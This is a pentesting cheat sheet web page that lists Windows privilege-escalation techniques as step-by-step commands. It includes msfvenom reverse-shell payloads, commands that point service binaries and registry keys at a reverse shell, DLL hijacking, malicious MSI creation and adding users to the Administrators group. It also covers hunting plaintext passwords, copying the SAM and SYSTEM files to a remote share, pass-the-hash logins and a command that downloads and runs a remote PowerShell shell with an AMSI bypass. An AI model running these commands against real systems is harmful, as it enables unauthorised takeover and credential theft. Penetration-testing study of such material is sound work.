PentOpsVault @syztem4our666

PentOpsVault
Pentesting Windows AD

Windows Privilege Escalation

Common Windows Privilege Escalation

All credits to https://github.com/0xJs/RedTeaming_CheatSheet/blob/main/windows_security.md

Table of Contents

Using BloodHound

Remote BloodHound

Python BloodHound Repository or install it with pip3 install bloodhound

bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c All

On Site BloodHound

#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
    
#Using powershell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>

General Tips

  • Check if Windows Scheduler is running (tasklist)
    • Go to C:\Program Files\SystemScheduler\Events and check the logs to see if anything is running every x minutes.
    • Check if we have write permissions.
  • Administrative command execution tips:
    • Use msfvenom for shells if we can execute something with admin privileges:
      msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exe
      msfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exe
    • RDP:
      net localgroup administrators <username> /add
    • Admin to System:
      .\PsExec64.exe -accepteula -i -s C:\temp\reverse.exe
  • Can also use icacls.exe or Get-acl to check permissions on directories/files instead of accesschk.exe.

Other Great Sources

Tools

Privescheck

Powerup & SharpUp

powershell.exe
. ./PowerUp.ps1
Invoke-Allchecks
.\SharpUp.exe

Seatbelt

./seatbelt.exe all

winPEAS

reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
.\winPEASany.exe quiet cmd fast
.\winPEASany.exe

accesschk.exe

AccessChk is an old but still trustworthy tool for checking user access control rights. You can use it to check whether a user or group has access to files, directories, services, and registry keys. The downside is more recent versions of the program spawn a GUI “accept EULA” popup window. When using the command line, we have to use an older version which still has an /accepteula command line option.

Always do first:

accesschk.exe /accepteula

Manual Enumeration

Check the Current User

whoami

Check the Current Privileges

whoami /priv

Check the Current Groups

whoami /groups

Check All Users

net user

Check the Local Administrator Group Members

net localgroup administrators

Check Hostname

hostname

Check Operating System and Architecture

systeminfo

Get Installed Patches

wmic qfe get Caption,Description,HotFixID,InstalledOn

Check Running Processes

tasklist /svc

Check Running Services

wmic service get name,displayname,pathname,startmode

Check Current Privileges

whoami /priv && whoami /groups

if SeImpersonatePrivilege is set (PrintSpoofer or juicypotato)

Check Networking Information

ipconfig /all
route print

Check Open Ports

netstat -ano

Enumerate Firewall

netsh firewall show state
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=all

Enumerate Scheduled Tasks

schtasks /query /fo LIST /v

Installed Applications and Patch Levels

wmic product get name, version, vendor

Readable/Writable Files and Directories

accesschk.exe -uws "Everyone" "C:\Program Files"
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

Device drivers and kernel modules

driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*<DRIVER>*"}

Binaries that auto elevate

Check status of AlwaysInstalledElevated registery setting (if yes then craft a MSI)

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

Check the architecture

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

Check for drivers

driverquery /v

Check the driver files for version etc and check if it’s vulnerable

cd C:\Program Files\<DRIVER>

List disks

wmic logicaldisk get caption,description,providername

Check permission on file

icalcs "<PATH>"

Privilege escalation techniques

  • Run automation scripts and if it find something fuzzy use these techniques to exploit it.

History

Search for powershell history and transcript

Get-ChildItem -Path C:\* -Force -Include *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue 
Get-Childitem -Path C:\* -Force -Include *transcript* -Recurse -ErrorAction SilentlyContinue

Kernel exploits

Kernels are the core of any operating system. Think of it as a layer between application software and the actual computer hardware. The kernel has complete control over the operating system. Exploiting a kernel vulnerability can result in execution as the SYSTEM user.

  1. Enumerate Windows version / patch level (systeminfo)
  2. Find matching exploits (Google, ExploitDB, Github)
  3. Compile and run

Finding kernel exploits

Get systeminfo

systeminfo > systeminfo.txt

Run on kali

python wes.py systeminfo.txt -i 'Elevation of privilege' --exploits-only

Cross-reference results with compiled exploits + run them

https://github.com/SecWiki/windows-kernel-exploits

Service Exploits

Services are simply programs that run in the background, accepting input or performing regular tasks. If services run with SYSTEM privileges and are misconfigured, exploiting them may lead to command execution with SYSTEM privileges as well.

Check services access

accesschk.exe /accepteula -uwcqv <USER> * > ack.txt
type ack.txt

Query the configuration of a service:

sc.exe qc <SERVICE NAME>

Query the current status of a service:

sc.exe query <SERVICE NAME>

Modify a configuration option of a service:

sc.exe config <NAME> <OPTION>= <VALUE>

Start/Stop a service:

net start/stop <SERVICE NAME>

Weak service permissions

Each service has an ACL which defines certain service-specific permissions. Some permissions are innocuous (e.g. SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS). Some may be useful (e.g. SERVICE_STOP, SERVICE_START). Some are dangerous (e.g. SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS).

If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own. Potential Rabbit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges!

Confirm with accesschk.exe

.\accesschk.exe /accepteula -uwcqv <USER> <SERVICE NAME>

Check the permissions on modifieable service

Get-ServiceAcl -Name <NAME> | select -expandproperty Access

Check the current configuration

sc qc <SERVICE NAME>

Check current status

sc query <SERVICE NAME>

Reconfigure the service

sc config <SERVICE NAME> binpath= "\"C:\temp\reverse.exe\""

Change the start + object

sc config daclsvc obj= ".\LocalSystem" password= ""
sc config daclsvc start= "demand"

Start service

net start <SERVICE NAME>

Unqouted Service Path

Executables in Windows can be run without using their extension (e.g. “whoami.exe” can be run by just typing “whoami”). Some executables take arguments, separated by spaces, e.g. someprog.exe arg1 arg2 arg3… This behavior leads to ambiguity when using absolute paths that are unquoted and contain spaces.

Consider the following unquoted path: C:\Program Files\Some Dir\SomeProgram.exe To us, this obviously runs SomeProgram.exe. To Windows, C:\Program could

be the executable, with two arguments: Files\Some and Dir\ SomeProgram.exe Windows resolves this ambiguity by checking each of the possibilities in turn. If we can write to a location Windows checks before the actual executable, we can trick the service into executing it instead.

Find service with unqoutes service paths

wmic service get name, pathname

Confirm this using sc:

sc qc <SERVICE NAME>

Check for write permissions:

.\accesschk.exe /accepteula -uwdq "<PATH>"
 
Get-Acl -Path <PATH> | fl

Copy the reverse shell executable and rename it appropriately:

copy C:\temp\reverse.exe "<PATH>"

Start a listener on Kali, and then start the service to trigger the exploit:

net stop <SERVICE>
net start <SERVICE>
### Weak Registry Permissions
 
The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service’s configuration even if we cannot modify the service directly.
 
#### Confirming Weak Registry Entries
To confirm a weak registry entry, you can use either Powershell or accesschk.exe:
- **Powershell:**
  ```powershell
  Get-Acl -Path <REG PATH> | Format-List
  • accesschk.exe:
    .\accesschk.exe /accepteula -uvwqk <REG PATH>

Overwriting Registry Key Values

To overwrite the value of a registry key and point it to our reverse shell executable:

reg add <REG PATH> /v <REG VALUE> /t REG_EXPAND_SZ /d C:\temp\reverse.exe /f

Triggering the Exploit

Start a listener on Kali, and then start the service to trigger the exploit:

net stop <SERVICE>
net start <SERVICE>

Insecure Service Executables

If the original service executable is modifiable by our user, we can simply replace it with our reverse shell executable. Remember to create a backup of the original executable if you are exploiting this in a real system!

Checking Executable Writability

.\accesschk.exe /accepteula -quvw "<PATH TO EXE>"
icacls.exe "<PATH TO EXE>"
Get-Acl -Path "<PATH TO EXE>" | fl

Creating a Backup

copy "<PATH>" C:\Temp

Copying the Reverse Shell Executable

copy /Y C:\PrivEsc\reverse.exe "<PATH>"

Triggering the Exploit

Start a listener on Kali, and then start the service to trigger the exploit:

net stop <SERVICE>
net start <SERVICE>

DLL Hijacking

Often a service will try to load functionality from a library called a DLL (dynamic-link library). Whatever functionality the DLL provides, will be executed with the same privileges as the service that loaded it. If a DLL is loaded with an absolute path, it might be possible to escalate privileges if that DLL is writable by our user.

A more common misconfiguration that can be used to escalate privileges is if a DLL is missing from the system, and our user has write access to a directory within the PATH that Windows searches for DLLs in. Unfortunately, initial detection of vulnerable services is difficult, and often the entire process is very manual.

Checking for a Writable Directory in PATH

Start by enumerating which of these services our user has stop and start access to:

.\accesschk.exe /accepteula -uvqc <USER> <SERVICE>

Confirming Vulnerable Services

sc qc <SERVICE>

Generating a Reverse Shell DLL

On Kali, generate a reverse shell DLL named hijackme.dll:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o <NAME>.dll
msfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o <NAME>.dll

Triggering the Exploit

Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:

net stop <SERVICE>
net start <SERVICE>

Always Install Elevated

This policy allows standard users to install applications that require access to directories and registry keys that they may not usually have permission to change. This is equivalent to granting full administrative rights and even though Microsoft strongly discourages its use, it can still be found.

Searching for Always Install Elevated

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

Creating MSI for Privilege Escalation

To exploit this, you can package a payload into an MSI installer that will be installed and executed with SYSTEM privileges. You can use tools like PowerShell scripts or Cobalt Strike Beacon to generate such MSI files.

SC Manager Abuse

Displaying Permissions for Service Creation

sc sdshow scmanager

Converting Permissions

$string = <PERMISSIONS>
ConvertFrom-SddlString $string

Creating a Service

sc create MyService displayName= "MyService" binPath= "C:\Windows\System32\net.exe localgroup Administrators <USER> /add" start= auto

Restarting the Machine

Registry

Autoruns

Windows can be configured to run commands at startup, with elevated privileges. These “AutoRuns” are configured in the Registry. If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted), you may be able to escalate privileges.

Enumerating Autorun Executables

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Checking Executables Manually

.\accesschk.exe /accepteula -wvu "<PATH TO EXE>"

Checking All Autoruns

.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program"

Copying Reverse Shell to Autorun Directory

copy "C:\Program Files\Autorun Program\program.exe" C:\Temp

Triggering the Exploit

Copy the reverse shell executable to overwrite the autorun executable:

copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"

AlwaysInstallElevated

MSI files are package files used to install applications. These files run with the permissions of the user trying to install them. Windows allows for these installers to be run with elevated (i.e., admin) privileges. If this is the case, we can generate a malicious MSI file which contains a reverse shell.

Manually Checking for AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Creating MSI with Reverse Shell

msfvenom -p <PAYLOAD> lhost=<IP> -f msi -o setup.msi

SC Manager Abuse

Displaying Permissions for Service Creation

sc sdshow scmanager

Converting Permissions

$string = <PERMISSIONS>
ConvertFrom-SddlString $string

Creating a Service

sc create MyService displayName= "MyService" binPath= "C:\Windows\System32\net.exe localgroup Administrators <USER> /add" start= auto

Restarting the Machine

Passwords

Registry

Plenty of programs store

configuration options in the Windows Registry. Windows itself sometimes will store passwords in plaintext in the Registry. It is always worth searching the Registry for passwords. The following commands will search the registry for keys and values that contain “password”.

Searching Registry for Passwords

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Spawning Shell Using Credentials

winexe -U '<USERNAME>%<PASSWORD>' //<IP> cmd.exe

Saved Credentials

Manually Checking for Saved Credentials

cmdkey /list

Using Saved Credentials

runas /savecred /user:admin C:\temp\reverse.exe

Configuration Files

Manually Searching

dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt

SAM

Copying SAM and SYSTEM Files

copy C:\Windows\Repair\SAM \\<IP>\<SHARE>\
copy C:\Windows\Repair\SYSTEM \\<IP>\<SHARE>\

Running creddump pdump.py

python2 creddump7/pwdump.py SYSTEM SAM

Cracking with hashcat

hashcat -a 0 -m 1000 --force <HASHES> <WORDLIST>

Pass the Hash Login

pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //<IP> cmd.exe
pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //<IP> cmd.exe

Scheduled Tasks

Listing All Scheduled Tasks

schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Insecure GUI Apps

If you can open a file with this app, navigate to the explorer and fill in the path to cmd.exe or PowerShell.exe:

file://c:/windows/system32/cmd.exe

Startup Apps

Each user can define apps that start when they log in, by placing shortcuts to them in a specific directory. Windows also has a startup directory for apps that should start for all users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in.

Note that shortcut files (.lnk) must be used. The following VBScript can be used to create a shortcut file.

Using VBScript to Create a Shortcut

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save

Running the Script using cscript

cscript CreateShortcut.vbs

Starting Listener if Admin Logs in

Installed Applications

Most privilege escalations relating to installed applications are based on misconfigurations we have already covered. Still, some privilege escalations result from things like buffer overflows, so knowing how to identify installed applications and known vulnerabilities is still important.

Enumerating All Running Programs

tasklist /v

Hot Potato

Hot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges. The attack tricks Windows into authenticating as the SYSTEM user to a fake HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution. This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.

  1. Copy the potato.exe exploit executable over to Windows.
  2. Start a listener on Kali.
  3. Run the exploit:
.\potato.exe -ip <IP> -cmd "C:\temp\reverse.exe" - enable_httpserver true -enable_defender true -enable_spoof true - enable_exhaust true
  1. Wait for a Windows Defender update or trigger one manually.

Token Impersonation

Service Accounts

The original Rotten Potato exploit was identified in 2016. Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the “SeImpersonatePrivilege” privilege enabled.

Token Impersonation Exploits

Sweet Potato

./SweetPotato.exe -a "/c powershell.exe iex (New-Object Net.WebClient).DownloadString('http://<IP>:8090/amsi.txt'); iex (New-Object Net.WebClient).DownloadString('http://<IP>:8090/Invoke-PowerShellTcp2.ps1')"

On this page

Table of ContentsUsing BloodHoundRemote BloodHoundOn Site BloodHoundGeneral TipsOther Great SourcesToolsPrivescheckPowerup & SharpUpSeatbeltwinPEASaccesschk.exeManual EnumerationCheck the Current UserCheck the Current PrivilegesCheck the Current GroupsCheck All UsersCheck the Local Administrator Group MembersCheck HostnameCheck Operating System and ArchitectureGet Installed PatchesCheck Running ProcessesCheck Running ServicesCheck Current PrivilegesCheck Networking InformationCheck Open PortsEnumerate FirewallEnumerate Scheduled TasksInstalled Applications and Patch LevelsReadable/Writable Files and DirectoriesDevice drivers and kernel modulesBinaries that auto elevateCheck the architectureCheck for driversCheck the driver files for version etc and check if it’s vulnerableList disksCheck permission on filePrivilege escalation techniquesHistorySearch for powershell history and transcriptKernel exploitsFinding kernel exploitsGet systeminfoRun on kaliCross-reference results with compiled exploits + run themService ExploitsCheck services accessQuery the configuration of a service:Query the current status of a service:Modify a configuration option of a service:Start/Stop a service:Weak service permissionsConfirm with accesschk.exeCheck the permissions on modifieable serviceCheck the current configurationCheck current statusReconfigure the serviceChange the start + objectStart serviceUnqouted Service PathFind service with unqoutes service pathsConfirm this using sc:Check for write permissions:Copy the reverse shell executable and rename it appropriately:Start a listener on Kali, and then start the service to trigger the exploit:Overwriting Registry Key ValuesTriggering the ExploitInsecure Service ExecutablesChecking Executable WritabilityCreating a BackupCopying the Reverse Shell ExecutableTriggering the ExploitDLL HijackingChecking for a Writable Directory in PATHConfirming Vulnerable ServicesGenerating a Reverse Shell DLLTriggering the ExploitAlways Install ElevatedSearching for Always Install ElevatedCreating MSI for Privilege EscalationSC Manager AbuseDisplaying Permissions for Service CreationConverting PermissionsCreating a ServiceRestarting the MachineRegistryAutorunsEnumerating Autorun ExecutablesChecking Executables ManuallyChecking All AutorunsCopying Reverse Shell to Autorun DirectoryTriggering the ExploitAlwaysInstallElevatedManually Checking for AlwaysInstallElevatedCreating MSI with Reverse ShellSC Manager AbuseDisplaying Permissions for Service CreationConverting PermissionsCreating a ServiceRestarting the MachinePasswordsRegistrySearching Registry for PasswordsSpawning Shell Using CredentialsSaved CredentialsManually Checking for Saved CredentialsUsing Saved CredentialsConfiguration FilesManually SearchingSAMCopying SAM and SYSTEM FilesRunning creddump pdump.pyCracking with hashcatPass the Hash LoginScheduled TasksListing All Scheduled TasksInsecure GUI AppsStartup AppsUsing VBScript to Create a ShortcutRunning the Script using cscriptStarting Listener if Admin Logs inInstalled ApplicationsEnumerating All Running ProgramsHot PotatoToken ImpersonationService AccountsToken Impersonation ExploitsSweet Potato
Edit on GitHub